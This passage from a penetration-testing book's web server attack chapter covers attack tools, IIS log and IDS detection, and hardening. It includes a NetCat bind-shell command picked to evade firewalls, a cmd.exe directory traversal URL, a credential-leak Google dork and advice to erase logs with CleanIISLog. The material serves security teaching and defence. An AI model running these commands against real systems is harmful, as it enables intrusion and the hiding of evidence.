they are time-based. For \nexample, if 172.16.0.113 if found to be brute forcing the website, block the IP address for \n30 minutes. If it happens again, block it again. Eventually, you should contact the ISP about \nthe activity. \n" }, { "page_number": 244, "text": "Tools\n217\nTools\nMany tools have already been mentioned in this chapter, and countless others are available \nto choose from. An entire book could be filled with all of the tools available, but the \nfollowing list and sections that follow highlight some helpful tools, including the following:\n•\nNetCat\n•\nVulnerability scanners\n•\nIIS Xploit\n•\nExeciis-win32.exe\n•\nCleanIISLog\n•\nIntelliTamper\n•\nGoogle\nNetCat\nNetCat has been called the “Swiss Army Knife” of ethical (and unethical) hacking. It is a \nremote shell tool that you can use to gain access to another host, assuming NetCat is already \nrunning on that remote host.\nBefore you can use NetCat, you need to have it running on the target host. You can \naccomplish this by using some of the exploits mentioned earlier to upload files (such as \nupload.asp) or through social engineering means as discussed in Chapter 4, “Performing \nSocial Engineering.” After you have installed NetCat on your target host, you need to \nexecute it. The following are options for execution on the listening host:\nnc –l –p port [options] [hostname] [port]\nThe syntax is described as follows:\n•\n-l—Listen mode (required).\n•\n-p—Specifies the port number that you connect on. It can be a specific port or a range \nof ports. This option is required. \n•\nport—TCP port number.\n•\nhostname—The IP address or host name of the remote host.\n•\noptions include the following:\n— -u—UDP mode. The default is TCP.\n— -t—Listen for Telnet.\n— -d—Detach from console (stealth mode).\n— -e—Execute a file. If you want a remote shell, you should execute cmd.exe.\n" }, { "page_number": 245, "text": "218\nChapter 7: Performing Web Server Attacks\nThe following command runs NetCat in stealth mode while listening for incoming traffic \non port 53 and executing a remote shell: \nc:\\target\\nc –l –p 53 –d –e cmd.exe\n53 is chosen because the port, which is used for DNS traffic, is often open on firewalls. If \nyou choose an uncommon port, a firewall might block your attempt.\nNext, on the remote host that you are going to use to access your target, execute NetCat and \nspecify the port number and IP address, as demonstrated in Figure 7-25. \nFigure 7-25 Specifying the NetCat Target Port Number and IP Address\nYou now have full access to the remote host. With a remote shell, you can view files, \ntransfer files, and even execute files on your target host. \nFor a more detailed look at NetCat, read the case study at the end of this chapter.\nVulnerability Scanners\nOver the past couple of years, vulnerability scanners have become increasingly popular. \nVulnerability scanners take the work out of penetration testing by scanning target systems \nand comparing them against known vulnerability signatures. Many of the vulnerability \nscanners update themselves with those vulnerabilities listed on the Bugtraq database (http:/\n/www.securityfocus.com/) and the CERT advisory database (http://www.cert.org/).\nWhen you are looking at vulnerability scanners, you need to be cautious as to how intrusive \nthey are. Some vulnerability scanners can be very intrusive and can cause vulnerable \nsystems to crash. If your penetration test excludes the use of DoS tests, be careful about \nrunning vulnerability scanners. Always drill down into the individual options to ensure that \nthe tests you are performing will not crash the target. Also, always perform a vulnerability \ntest on a lab network first to see the impact that it will cause.\n" }, { "page_number": 246, "text": "Tools\n219\nVulnerability scanners can be broken down into two types:\n•\nOpen-source scanners\n•\nCommercial scanners\nOpen-source scanners do not cost anything, but you get little to no support with them. For \nhelp, you must rely on mailing lists and message boards. Luckily, you can go to several \nplaces to find advice, such as the penetration testing mailing list sponsored by Security \nFocus (http://www.securityfocus.com/). Table 7-1 outlines the differences among common \nopen-source scanners.\nCommercial scanners cost money, but they offer several benefits to their open-source \ncounterparts. Commercial scanners provide support for their products and often have in-\nhouse teams of security experts who update their products with the latest security threats. \nIn addition, commercial products generally have better reporting and analysis options. \nTable 7-2\nOpen-Source Vulnerability Scanners\nName\nWebsite\nPlatform\nFeatures\nCgichk\nhttp://sourceforge.net/projects/\ncgichk/\nLinux/ Windows\nLooks for directories and files \nthat could be vulnerable. \nSimple tool.\nHackbot\nhttp://www.xs4all.nl/\n~mvberkum/hackbot/\nLinux\nBasic vulnerability scanner. \nScans for CGI, IDA, Unicode, \nand Nimda vulnerabilities.\nSARA\nhttp://freshmeat.net/redir/sara/\n9251/url_homepage/sara.html\nLinux/ MAC OS X\nBased off of SATAN, a popular \n(older) scanner. SANS certified. \nUpdates twice per month with \nthe latest list of Common \nVulnerabilities and Exposures \n(CVE), which is found at \nhttp://cve.mitre.org/.\nNessus\nhttp://www.nessus.org/\nLinux/ Windows \n(Windows version \ncalled NeWT)\nUpdates with CVE database on \na daily basis. Checks against \nstandard and nonstandard ports. \nProbably the most widely used \ntool, and a must-have for any \npenetration tester. \nWhisker\nhttp://www.wiretrip.net/rfp/\nLinux/ Windows\nCGI scanner. \nNikto\nhttp://www.cirt.net/code/\nnikto.shtml\nLinux/ Windows\nOpen-source web server \nscanner.\n" }, { "page_number": 247, "text": "220\nChapter 7: Performing Web Server Attacks\nMany even have specific scans to check a host for regulatory compliance. Table 7-2 \nprovides a list of some common commercial scanners.\nTable 7-3\nCommercial Vulnerability Scanners\nName\nWebsite\nPlatform\nFeatures\nInternet \nScanner\nhttp://www.iss.net\nWindows\nPerforms more than 1200 vulnerability \nchecks and checks against the SANS top \n20 vulnerability list. Highly customizable.\nBindview \nBv-Control\nhttp://www.bindview.com\nWindows\nBindView has several products to assist \nwith vulnerability scanning and regulatory \ncompliance. Updates are done with \nsignatures that an internal security team \nputs out.\nNetRecon\nhttp://www.symantec.com\nWindows\nShows root cause and path analysis to \ntrace the cause of vulnerabilities. \nGFI \nLANguard\nhttp://www.gfi.com/\nWindows\nRelatively inexpensive when compared to \nother commercial scanners. Can also be \nused to deploy patches to vulnerable \nsystems.\nFoundstone \nProfessional\nhttp://\nwww.foundstone.com/\nAppliance\nProvides detailed reports/analysis to \nevaluate security cost/benefits. Creates \ndetailed map of entire network.\nSAINT\nhttp://\nwww.saintcorporation.com/\nAppliance\nBased off of SATAN, an older Linux \nscanner. Demonstrates compliance with \nHIPAA, GLBA, and other federal \nrequirements. Updates whenever scan is run.\neEye Retina\nhttp://www.eeye.com\nUpdates regularly. Checks against all \nports and has profiles for more than 2000 \nports. Also tests wireless devices.\nOculan 100\nhttp://www.oculan.com\nProvides reports based on compliance \nneeds such as Gramm-Leach-Bliley, \nHIPAA, and FDIC audits. Also performs \nserver management and bandwidth \nanalysis.\nNetIQ\nhttp://www.netiq.com/\nProvides templates for HIPAA, Sarbanes-\nOxley, and other federal requirements. \nNot as large of a database as the others. \nMany reporting options (Crystal, Adobe, \nExcel, Word, text)\n" }, { "page_number": 248, "text": "Tools\n221\nIIS Xploit\nIIS Xploit is a tool that automates directory traversal on IIS systems. This Windows tool \nallows you to enter in your target address and specify a spoofed source IP address. Using \nthis tool, you can upload, download, and delete files. This is a great and easy way to upload \nNetCat on vulnerable systems to gain access to a remote shell. Figure 7-26 shows the \ninterface for IIS Xploit.\nFigure 7-26 IIS Xploit\nexeciis-win32.exe\nThis Windows-based command-line tool also uses the directory traversal vulnerability in \nIIS. You can use execiis to execute remote commands on another system. Figure 7-27 shows \na connection made with execiis-win32.exe.\n" }, { "page_number": 249, "text": "222\nChapter 7: Performing Web Server Attacks\nFigure 7-27 Execiis-win32.exe\nCleanIISLog\nAfter you have performed a penetration test, it is important to cover your tracks so that \nothers will not detect your actions. Through CleanIISLog, you can stop the log services and \ndelete all entries that contain your IP address. (See Figure 7-28.) \nYou must execute this utility locally on the target, which means you need to upload it \nthrough programs such as IIS Xploit and execute it through a remote shell program like \nNetCat or execiis-win32.exe. \nFigure 7-28 CleanIISlog\nIntelliTamper\nIntelliTamper is a spidering tool that maps out all pages hosted on a website. This is useful \nfor finding files that might not be listed on the website but are still stored on the web server. \nFor example, using this utility, you might find that an .mdb database file exists that is not \nlinked to on a website but is located in the same place as the site. IntelliTamper tells you if \n" }, { "page_number": 250, "text": "Tools\n223\nsuch files exist that you can then download and open to gain access to information that the \nsite does not want others to view, as demonstrated in Figure 7-29.\nFigure 7-29 IntelliTamper\nWeb Server Banner Grabbing\nOne of the easiest ways to discover what web server your target is using is through banner \ngrabbing. With banner grabbing, you Telnet to TCP port 80, the common web server port, \nand retrieve the banner that the web server produces. To grab the banner of the \nhackmynetwork.com website, for example, send the following GET HTTP request \nfollowed by two carriage returns (CR):\nc:\\telnet www.hackmynetwork 80\nGET / HTTP/1.0\n[CR]\n[CR}\nThe following output is returned on the screen:\nHTTP/1.1 200 OK\nDate: Mon, 11 Jul 2005 15:44:38 GMT\nServer: Apache/1.3.31 (Unix) mod_tsunami/2.0 FrontPage/5.0.2.2634 mod_ssl/2.8.19\n OpenSSL/0.9.7a\nConnection: close\nContent-Type: text/html\n" }, { "page_number": 251, "text": "224\nChapter 7: Performing Web Server Attacks\nFrom this output, you can see that the web server is running Apache 1.3.31 and has the \nTsunami, FrontPage, and SSL modules.\nHacking with Google\nBelieve it or not, Google.com is an excellent tool to find vulnerable systems. By putting a \ncommon error message into a search string, you can search for all websites that are \nsusceptible to a particular vulnerability. In fact, one particular website has catalogued the \nmost common vulnerabilities and error messages and provides hyperlinks to execute \nsearches through Google. The site is called Johnny.ihackstuff.com and is maintained by \nJohnny Long. (See Figure 7-30.)\nFigure 7-30 Johnny.ihackstuff.com\nHow does this relate to penetration testing? You can perform searches on common error \nmessages and then search the results to determine if your target is listed. For example, to \nsee if an error message has ever been seen on the hackmynetwork.com website, you can \nsearch for the following string: \n“Access denied for user” “using password” site:hackmynetwork.com \nVisit the Johnny Long website for more ideas on possible search strings.\n" }, { "page_number": 252, "text": "Detecting Web Attacks 225\nDetecting Web Attacks\nDetecting a web attack can be as simple as reviewing web server log files for tens, maybe \nhundreds of attempts to access files and directories that might or might not exist. Better yet, \nusing log files in combination with a full-blown network IDS, such as Cisco IDS sensor, to \ndetect attacks gives an administrator extensive detail. This section examines some examples \nof reviewing log files and a Cisco IDS sensor while attempting to penetrate and test a web \nserver. \nTo start, perform a basic directory traversal attack and check for symptoms first in the web \nserver logs and then in the IDS sensor. Next, execute a classic automated vulnerability \nscanner (Whisker) against the web server, and look for symptoms it exhibits. Figure 7-31 \ndisplays the network used in this test. \nFigure 7-31 Network Map\nThe Cisco PIX Firewall is statically mapping port 80 to the internal IIS 5.0 web server’s \nport 80. All other ports on the PIX Firewall have been disabled, similar to a normal run-of-\nthe-mill production system.\nThe Windows 2000 IIS server is configured with no service packs and default settings. This \nis less common on the Internet these days as larger sites upgrade to IIS 6.0 and apply every \npatch possible to the system. However, there is still a significant number of IIS 5.0 on the \nInternet and even more remain in use hosting company intranets. By default, IIS creates \nnew log files once per day and saves them in the C:\\WINNT\\System32\\LogFiles\\W3SVC1 \nfolder. You can adjust the location and file creation settings within the IIS Service Manager \nif needed, as shown in Figure 7-32. \nIEV\nWeb Server \nWindows 2000 IIS 5.0\nIP: 192.168.200.21\nIP: 172.16.0.2\nIDS\nHacker\nIP: 172.16.0.13\n80 Open\nX\nX\nX\n" }, { "page_number": 253, "text": "226\nChapter 7: Performing Web Server Attacks\nFigure 7-32 IIS Logging Properties\nThe IIS log format is a standard text file that records source IP address, destination IP \naddress, the basic request, and finally the result. However, several other items can be \nrecorded if desired, but as the quantity of data recorded increases, so too does the disk space \nrequired to store the logs. \nDetecting Directory Traversal\nDirectory traversal is a common attack against Windows IIS 4.0 and 5.0 web servers that \nallows hackers to execute or touch files outside of the designated web server folders. For \nexample, directory traversal can allow a hacker to execute the cmd.exe /c command to \nretrieve directory information or run just about any executable program available on your \nweb server. Consider a basic attack to see what comes up on the log files.\nFrom the web browser, enter the following command to test the vulnerability of the web \nserver and to see if the server will return information you actually should not see:\nhttp://172.16.0.2/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\\\nFigure 7-33 shows that the directory listing is successfully returned.\n" }, { "page_number": 254, "text": "Detecting Web Attacks 227\nFigure 7-33 Directory Traversal Results\nNow look into the Windows IIS 5.0 log file, which shows the following information: \n2005-02-09 22:11:05 172.16.0.13 - 192.168.200.21 80 GET /scripts/..%5c../winnt/\nsystem32 /cmd.exe /c+dir+c:\\ 200\nThis clearly shows a nonstandard HTTP GET request attempting to point to cmd.exe. If you \nare continuously monitoring your production log files, you will commonly see these \ntraversal type entries in them even if you are no longer vulnerable. Hackers, script kiddies, \nand even some viruses attempt directory traversal on websites to see if there is an easy way \nin. If you see a lot from a single IP address, however, you should take some blocking action \nor contact the ISP before these attack sources discover some other vulnerability with your \nsite.\nThe Cisco IDS 4215 sensor detects directory traversals quite accurately. Figure 7-34 \ndisplays what the Realtime Dashboard shows from the single traversal attempt made. \nFigure 7-34 Directory Traversal IDS Detected\n" }, { "page_number": 255, "text": "228\nChapter 7: Performing Web Server Attacks\nAs you can see, six different events were triggered from the sensor, with each event \ncomplaining about a different part of the traversal attack. You can view more detail than just \nthe triggered event in IDS Event Viewer (IEV) by right-clicking the event and selecting \nShow Context. IEV displays the Decoded Alarm Context, showing the exact syntax sent to \nthe web server that triggered the alarm. (See Figure 7-35.) This is useful when tracing back \nthough the alarms trying to piece together what the hacker was actually sending the server \nand perhaps even what he did to the server. \nFigure 7-35 IDS Decoded Alarm Context\nDetecting Whisker\nThis next detection is with an old but popular CGI vulnerability scanner called Whisker. \nThis tool, like dozens of other automated testing tools, typically executes every possible \nattack against a web server in the arsenal of a hacker, resulting in tens if not hundreds or \neven thousands of alarms and events triggered. The rest of this section shows what a \nstandard Whisker attack might look like.\nTo launch Whisker from the Perl script, you need to have an interpreter installed, such as \nActivePerl from http://www.ActiveState.com. Next, run Whisker against the target host \n172.16.0.2 with the following command: \nC:\\whisker>whisker.pl –h\nExample 7-16 displays the Whisker output against a basic IIS 5.0 install on a Windows \n2000 server.\n" }, { "page_number": 256, "text": "Detecting Web Attacks 229\nExample 7-16\nWhisker Attack Results\nC:\\whisker>whisker.pl -h 172.16.0.2\n[ Whisker not officially installed; reading from current directory ]\n----------------------------------------------------------------------------\nWhisker 2.0 beginning test against http://172.16.0.2\n----------------------------------------------------------------------------\nTitle: Notice\nWhisker scans for CGIs by checking to see if the server says a particular\nURL exists. However, just because a URL exists does not necessarily mean\nit is vulnerable/exploitable--the vulnerability might be limited to only a\ncertain version of the CGI, and the server might not be using the\nvulnerable version. There is also the case where many scripts use the\nsame generic CGI name (like count.cgi); in this case, the exact CGI being\nused may not be the same one that contains the vulnerability.\nThus, the actual vulnerability of the CGI must be verified in order to get\na true assessment of risk. Whisker only helps in pointing out the problem\nareas. The next step after scanning with whisker is to review each found\nCGI by reviewing the reference URLs or searching for the CGI name on\nSecurityFocus.com or Google.com.\n----------------------------------------------------------------------------\nId: 100\nInformational: the server returned the following banner:\n Microsoft-IIS/5.0\n----------------------------------------------------------------------------\nWhisker is currently crawling the website; please be patient.\n----------------------------------------------------------------------------\nWhisker is done crawling the website.\n----------------------------------------------------------------------------\nId: 750\nFound URL: /_vti_inf.html\nSee references for specific information on this vulnerability.\n----------------------------------------------------------------------------\nId: 753\nFound URL: /_vti_bin/shtml.dll\nSee references for specific information on this vulnerability.\n----------------------------------------------------------------------------\nId: 755\nFound URL: /_vti_bin/shtml.exe\nSee references for specific information on this vulnerability.\n----------------------------------------------------------------------------\nId: 778\nFound URL: /_vti_bin/_vti_aut/author.dll\nSee references for specific information on this vulnerability.\n----------------------------------------------------------------------------\nId: 779\nFound URL: /_vti_bin/_vti_aut/author.exe\nSee references for specific information on this vulnerability.\n----------------------------------------------------------------------------\nWhisker scan completed in less than 1 minute\nC:\\whisker>\n" }, { "page_number": 257, "text": "230\nChapter 7: Performing Web Server Attacks\nAs you can see, Whisker took only a minute to find five possible vulnerabilities against the \nIIS computer. Using a newer library of tools might result in the discovery of even more \nvulnerabilities. Example 7-17 displays some of the 500+ entries that Whisker generated in \nthe IIS Log file.\nAs you can see from this log file, Whisker is probing for web pages and other possible \nvulnerabilities. The entries with a code of 200 (highlighted in the preceding output) relate \nto a successful page found and can be seen in the Whisker vulnerability report. Another \nthing worth noting is that the name Whisker is left within the log file, making it easy to spot \nactivity from anyone using this tool to check out the website.\nNext, look at the Cisco IEV Realtime Dashboard in Figure 7-36 to see how the IDS sensor \nreacts when this scanner is used. \nExample 7-17\nWhisker Output\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /Default.asp - 200 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /CLTCmODBUzKorDA - 404 \nwhisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /Default.asp - 200 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /global.asa |-\n|ASP_0220|Requests_for_GLOBAL.ASA_Not_Allowed 500 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /Default.asp - 200 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /carbo.dll - 500 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /prd.I/pgen/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /cgi-local/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /htbin/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /cgi/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /cgis/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /cgi-win/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /bin/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_inf.html - 200 \nwhisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_bin/_vti_aut/\nauthor.dll - 200 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_private/ - 403 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_bin/ - 403 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_pvt/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_log/ - 403 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_txt/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_cnf/ - 404 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_private/ - 403 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_bin/ - 403 whisker/2.0\n2005-03-23 22:22:27 172.16.0.13 - 192.168.200.21 80 GET /_vti_log/ - 403 whisker/2.0\n" }, { "page_number": 258, "text": "Detecting Web Attacks 231\nFigure 7-36 Whisker Alarms Detected by IDS\nAs you can see, the Cisco IDS does an excellent job of detecting attacks against our web \nserver. If you look closely, you see that Whisker also launched attacks based on Apache \nvulnerabilities against the IIS web server. Although these do not work against an IIS \nsystem, IDS does not discriminate and records the alarm event anyway. An unconfigured, \nautomated tool such as Whisker basically just throws everything it has at a server, causing \na lot of log and alarm noise before it finishes. This makes it relatively easy to detect when \nit is used against your network. \nNOTE\nWhisker has been around for quite some time. A newer tool to keep an eye out for is called \nNikto. It, too, runs as a Perl script and can be used as a vulnerability scanner against web \nservers. \nAs you can see, detecting is not too difficult because almost everything is logged within IIS \nlog files. However, it takes effort and time to view your log files for errors and possible \nattacks being initiated against your servers. Investment in an IDS to assist in recognizing \n" }, { "page_number": 259, "text": "232\nChapter 7: Performing Web Server Attacks\nattacks can be invaluable if you have heavily accessed web-based systems or numerous web \nservers. Remember that IDS does not usually detect Day Zero alarms, so a periodic review \nof the standard log file should remain part of your detection strategy.\nProtecting Against Web Attacks\nProtecting against web attacks can be a time-consuming task. You must protect all aspects \nof your system, from the operating system to the network architecture. Following are some \nof the areas that you need to secure:\n•\nOperating system\n•\nWeb server application\n•\nWebsite design\n•\nNetwork architecture \nSecuring the Operating System\nInitial operating system selection for your web server is fairly important, and Linux and \nFreeBSD are some of the best and possibly the most secure after a base install. Like \nMicrosoft servers, however, Linux and FreeBSD can remain unconfigured yet still be \ndeployed to perform the task of a secure web server. This is a common problem with \nmultipurpose operating systems today, where dozens of services and applications might be \naccidentally left on. A perfect web server system has only one application running on it: the \nweb application itself, such as IIS or Apache. To demonstrate the problem, take a look using \nthe netstat command on a standard Windows 2003 Server hosting IIS. Example 7-18 shows \nthat several applications are running and listening on ports. \nExample 7-18\nNetstat Output \nC:\\>netstat -a -n\nActive Connections\n Proto Local Address Foreign Address State\n TCP 0.0.0.0:23 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:53 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:135 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:445 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1031 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:1434 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:2382 0.0.0.0:0 LISTENING\n TCP 0.0.0.0:2383 0.0.0.0:0 LISTENING\n TCP 192.168.200.100:139 0.0.0.0:0 LISTENING\n TCP 192.168.200.100:139 192.168.200.21:1033 ESTABLISHED\n" }, { "page_number": 260, "text": "Protecting Against Web Attacks 233\nFollowing is a quick list of tasks to perform on your base operating system:\n•\nChange and rename default accounts.\n•\nUse long passwords.\n•\nUninstall all unused applications.\n•\nDisable all unneeded services. \n•\nDisable access to programs such as cmd.exe.\n•\nStart the web server application with the lowest possible account privileges needed.\n•\nConfigure allowable ports such as 80 and 443.\n•\nInstall antivirus software (optional).\n•\nInstall host-based IDS.\n•\nMonitor log files.\n•\nCreate a mechanism to archive log files to a location other than the web server. \n•\nApply all the latest service packs and updates.\n•\nLocate the web pages in a nonstandard directory or drive.\nSecuring the operating system is a never-ending battle as new exploits are uncovered on a \nday-by-day basis. However, you can get close to perfect security by researching the most \ncurrent methods and ways to secure your operating system of choice at the website of the \nvendor. \n UDP 0.0.0.0:161 *:*\n UDP 0.0.0.0:445 *:*\n UDP 0.0.0.0:500 *:*\n UDP 0.0.0.0:514 *:*\n UDP 0.0.0.0:1028 *:*\n UDP 0.0.0.0:1030 *:*\n UDP 0.0.0.0:1032 *:*\n UDP 0.0.0.0:1434 *:*\n UDP 0.0.0.0:4500 *:*\n UDP 0.0.0.0:22102 *:*\n UDP 127.0.0.1:53 *:*\n UDP 127.0.0.1:123 *:*\n UDP 127.0.0.1:1027 *:*\n UDP 192.168.200.100:53 *:*\n UDP 192.168.200.100:67 *:*\n UDP 192.168.200.100:68 *:*\n UDP 192.168.200.100:123 *:*\n UDP 192.168.200.100:137 *:*\n UDP 192.168.200.100:138 *:*\n UDP 192.168.200.100:2535 *:*\nC:\\>\nExample 7-18\nNetstat Output (Continued)\n" }, { "page_number": 261, "text": "234\nChapter 7: Performing Web Server Attacks\nThe following link takes you to an excellent guide to securing a Windows operating system \nfrom a company called Systems Experts:\nhttp://www.systemexperts.com/win2k/hardenW2K13.pdf \nOf course, you can also review the Microsoft offering. \nSecuring Web Server Applications\nEven if you have the most secure operating system in the world, it still needs to execute the \nprograms used to your host web pages. If these programs are insecure, the whole server \nmight still be at risk. For example, some of the IIS buffer overflow issues allow a remote \ncommand prompt access to a web server. These applications need to be secured, too. IIS \nand Apache have a large footprint on the Internet today, and both provide fantastic features \nand capabilities. Following are some of the generic steps to protecting your web server \napplication:\n•\nUninstall all unused web server application features.\n•\nStart the service with the least level of privileges needed.\n•\nEnable logging. \n•\nRemove demo code.\n•\nRemove all unused web pages.\n•\nInstall all updates and hot fix patches.\n•\nReview the vendor website for late-breaking news.\nIIS\nIIS 6.0 (Microsoft 2003) has changed significantly from the previous version of IIS 5.0 in \n2000. The 5.0 version installed plenty of demos and sample files to assist the developer in \nunderstanding the capabilities of IIS. However, this made an unconfigured IIS installation \na powerful weapon for hackers every time a new exploit was discovered. The worms Nimda \nand Code Red took advantage of IIS exploits that Microsoft had already created patches for. \nIt was only because IIS administrators did not apply those patches and security features that \nthese worms became famous. IIS 2003, also known as 6.0, took a “secure by default” \napproach, basically installing only the necessary tools and service and disabling everything \nfrom the start. Administrators have to actually know how to enable features if they need \nthem, and interestingly enough, this slight change of focus makes IIS more secure. \nMicrosoft, in its wisdom, has published several articles and created dedicated tools to help \nsecure IIS. For example:\n•\nIIS Lock Down\n•\nUrlScan\n" }, { "page_number": 262, "text": "Protecting Against Web Attacks 235\nIIS Lock Down\nMicrosoft created IIS Lock Down to aid the IIS 5.0 web server administrator in configuring \na secure web server by creating a template that is applied to the application. You can \ndownload the tool from the Microsoft website. It performs the following functions:\n•\nIt disables these nonessential services: \n— E-mail service (SMTP) \n— FTP \n— News service (NNTP) \n•\nIt maps the following script maps to 404.dll: \n— Internet Data Connector (.idc) \n— Index Server Web Interface (.idq, .htw, .ida) \n— .HTR scripting (.htr) \n— Internet printing (.printer) \n— Server-side includes (.shtml, .shtm, .stm) \n•\nIt removes the following virtual directories: \n— IISHelp \n— Scripts \n— IISAdmin \n— IIS Samples \n— MSADC \nThis tool gets a mention on all the Windows 2000 IIS 5.0 security recommendations \nwebsites and should be applied if you have not already done so. For more details, see http:/\n/www.microsoft.com/technet/security/tools/locktool.mspx.\nUrlScan\nMicrosoft also has a tool called UrlScan that provides several features to validate what you \nrequest from the web server. For example:\n•\nRestricting size limits on requests\n•\nDetecting non-ASCII characters\n•\nRemoving the server response header\nIIS 6.0 has several of the same features as those built into UrlScan; however, you can still \nUrlScan and further enhance IIS 6.0 security. See http://www.microsoft.com/technet/\nsecurity/tools/urlscan.mspx for more details.\n" }, { "page_number": 263, "text": "236\nChapter 7: Performing Web Server Attacks\nNOTE\nMicrosoft has a plethora of articles on securing IIS that, if used, make a secure and well-\nprotected web server. The only catch is that you have to do the work:\nGeneral IIS: http://www.microsoft.com/iis \nSecuring Your Web Server: http://msdn.microsoft.com/library/default.asp?url=/library/en-\nus/secmod/html/secmod112.asp\nApache\nYou can find Apache web server vulnerabilities and items of interest on either http://\nwww.apache.org/ or http://www.apacheweek.com/. Although Apache is generally secure, \nan article by Security Focus takes a step-by-step approach detailing how to create a really \nsecure installation. You can find this at http://www.securityfocus.com/infocus/1694.\nSecuring Website Design\nSecuring website design is a difficult topic to document easily because of all the possible \nissues that unaware developers can integrate into the website through ignorance. The \nsecurity of web design in this context really refers to the implementations used to deploy \ntechnologies that create dynamic content. For example, an ASP developer might create a \nweb page that allows an input form to take only 10 characters, but he does not implement \nchecks to ensure that only 10 characters are coming into the server. Hackers can always \nsend more data than expected to the web server. The result of this might be anything from \nnothing at all to bringing down the web server. When a developer fails to test for added SQL \ncode to the input from a website, he leaves his application vulnerable to what is known as \nSQL injection (which is covered in Chapter 8, “Performing Database Attacks”). This might \nresult in data being added, deleted, updated, or revealed from the underlying database. \nThese and other common design flaws leave a web server and potentially the underlying \nnetwork vulnerable to attack. \nTo reduce the risk, the website designer should follow some basic practices:\n•\nInput validation on the web page\n•\nInput validation on all data returned from a client\n•\nEncrypt cookies\nLast, the designer should employ a web specialist penetration tester to probe test the \nwebsite and highlight design vulnerabilities in the site.\n" }, { "page_number": 264, "text": "Protecting Against Web Attacks 237\nSecuring Network Architecture \nYou should place all web servers in a separate secure network protected by a firewall, such \nas the Cisco PIX Firewall or the Cisco Adaptive Security Appliance, to prevent all traffic \nexcept for that traffic that is allowed by a created rule. In a web server environment, this \ntypically is traffic on ports 80 and 443. Figure 7-37 displays the basic layout of a \nDemilitarized Zone (DMZ) and the recommended placement of the web server within it. \nThe second firewall allows further protection. If someone does compromise the web server, \nhe has to go through another firewall to gain access to the private office network. The IDS \nis placed within the DMZ to help monitor and detect potential attacks against the web \nserver. You can further configure the Cisco 4200 Series IDS to integrate with the PIX \nfirewall to help repel attacks when they are detected. \nFigure 7-37 Standard Staked Firewall Design\nFor greater protection when you do not have anything but a web server in the DMZ and no \ninternal private network, you should add an access control list (ACL) to the inside interface \nof the PIX firewall. This ACL should only allow traffic with a source port of port 80 to pass \nthrough. This provides a secure system such that even if a hacker compromises the web \nserver, only the web server that is running on port 80 has access to the Internet. Figure 7-38 \ndisplays an example of a firewall configured in such a way.\nFigure 7-38 Firewall Blocking from Both Sides\nInternet\nDMZ\nWeb Server\nIDS\nPrivate LAN\n80 Open\nInternet\nX\nDestination (80)\nSource (80)\nWeb Server\nIDS\n80 Open\nX\nX\nX\nX\nX\nX\nX\nX\nX\nX\nX\nX\nX\nX\n" }, { "page_number": 265, "text": "238\nChapter 7: Performing Web Server Attacks\nCase Study\nThis case study takes several of the tools and techniques discussed in the chapter and links \nthem to a full-blown breach on an internal network. Evil Jimmy’s exploits demonstrate that \nweb servers should always be kept updated and patched. \nThe Little Company Network has just rebuilt its web server in a DMZ that hosts http://\nwww.hackmynetwork.com. It has configured the Cisco PIX Firewall to statically map port \n80 from the Internet to the internal web server and blocked all other external access. The \nnetwork administrators have been pressured by management and customers, so they have \nnot been able to apply service packs or security features to the Windows 2000 IIS server \nyet. However, they believe that because the server is behind a firewall, attacks will be \nstopped and give them some safety before they get a chance later to install the service packs \nand properly lock down the server. Three days have passed, and their optimism is \nunfounded when Evil Jimmy gets his hands on the server. Figure 7-39 displays the network \nused in this case study.\nFigure 7-39 Sample Network\nWell, Evil Jimmy is off to prove a point to his hacking buddies that he can hack an IIS 5.0 \nweb server in less than five minutes. His first task is to find a nice easy target system. That \nis where http://www.hackmynetwork.com comes into play. He starts the clock at 23:47 PM.\nStep 1\nTo start, Evil Jimmy port scans the http://www.hackmynetwork.com IP \naddress using NMap to look for open ports. He uses the –sT switch to \nguarantee that the ports are open and limits his port scanning range to the first \n100 ports with the –p switch to help avoid 